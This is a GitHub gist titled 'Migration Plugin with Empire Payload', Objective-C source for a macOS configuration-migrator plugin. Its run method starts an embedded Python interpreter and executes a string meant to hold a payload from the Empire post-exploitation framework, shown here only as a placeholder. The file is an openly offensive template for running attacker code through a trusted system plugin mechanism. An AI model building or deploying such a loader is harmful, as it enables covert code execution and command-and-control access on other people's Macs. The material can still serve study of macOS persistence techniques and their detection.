Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Migration Plugin with Empire Payload
//
// demoClass.m
// testExampleBundle
//
// Created by Chris Ross on 4/17/18.
// Copyright © 2018 Void. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <objc/objc.h>
#import <Python/Python.h>
#import <locale.h>
#import "SMConfMigratorPlugin.h"
#import <float.h>
@interface CustomTestPlugin : SMConfMigratorPlugin
@end
@implementation CustomTestPlugin
-(NSTimeInterval)estimateTime
{
return 999999;
}
-(void)run
{
NSString *pyCommand = @"EMPIRE PAYLOAD HERE";
const char *command = [pyCommand cStringUsingEncoding:NSASCIIStringEncoding];
setlocale(LC_ALL, "en_US.URF-8");
Py_Initialize();
PyRun_SimpleString(command);
Py_Finalize();
}
@end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment